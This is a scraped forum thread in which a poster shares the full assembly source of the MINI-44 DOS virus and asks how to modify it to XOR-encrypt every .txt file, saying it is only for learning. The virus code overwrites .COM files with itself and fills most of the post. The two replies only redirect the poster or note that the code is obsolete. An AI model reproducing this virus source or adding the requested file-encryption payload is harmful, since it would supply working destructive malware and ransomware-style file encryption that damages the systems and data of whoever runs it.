[Assembly] Modify the classic mini-44 virus to encrypt all txt files – Digitalmunition




Home Forums [Assembly] Modify the classic mini-44 virus to encrypt all txt files

This topic contains 1 reply, has 2 voices, and was last updated by  cents02 1 month ago.

  • Author
    Posts
  • #322863

    anonymous
    Participant

    Hello there!

    I’m currently trying to learn more about viruses while concomitantly learning Assembly. I started with MINI-44 which I guess is the simplest one.

    ​

    **However, I want to modify it in order for it to encrypt all files with a .txt extension.**

    I was thinking of using a cryptographic solution, something based on XOR most likely. Wanted to start small, so the encryption key will be initially hardcoded (and maybe later dynamically generated).

    If you can give me any info on how to achieve that, I’d be very grateful.

    PS: Needless to say, I’m only trying to learn some principles and I’m not going to actually use it – it’s an ancient virus after all.

    ​

    Here’s the code for the original MINI44.

    ​

    `.model small`

    `.code`

    `FNAME EQU 9Eh`

    `ORG 100h`

    ​

    `MINI44:`

    `mov AH,4Eh`

    `mov DX, offset COMP_FILE`

    `int 21h`

    `SEARCH_LP:`

    `jc DONE`

    `mov AX,3D01h`

    `mov DX, FNAME`

    `int 21h`

    ​

    `xchg AX,BX`

    `mov AH,40h`

    `mov CL,44`

    `mov DX,100h`

    `int 21h`

    ​

    `mov AH,3Eh`

    `int 21h`

    ​

    `mov AH,4Fh`

    `int 21h`

    ​

    `jmp SEARCH_LP`

    `DONE:`

    `ret`

    ​

    `COMP_FILE DB ‘*.COM’,0`

    `FINISH:`

    `END MINI44`

  • #322864

    cents02

    Hello there,
    Although it does kinda fit the sub you will get better responses in r/Assembly_language as this is more of a programming question.

  • #322865

    B1tninja

    I would take a look at masm32 and RadASM perhaps. There was an old skool tutorial, check it out: [http://www.interq.or.jp/chubu/r6/masm32/tute/tute001.html](http://www.interq.or.jp/chubu/r6/masm32/tute/tute001.html)

    The assembly you’ve pasted is old old, like MSDOS old, and you’ll have a hard time getting it working on any recent OS.

You must be logged in to reply to this topic.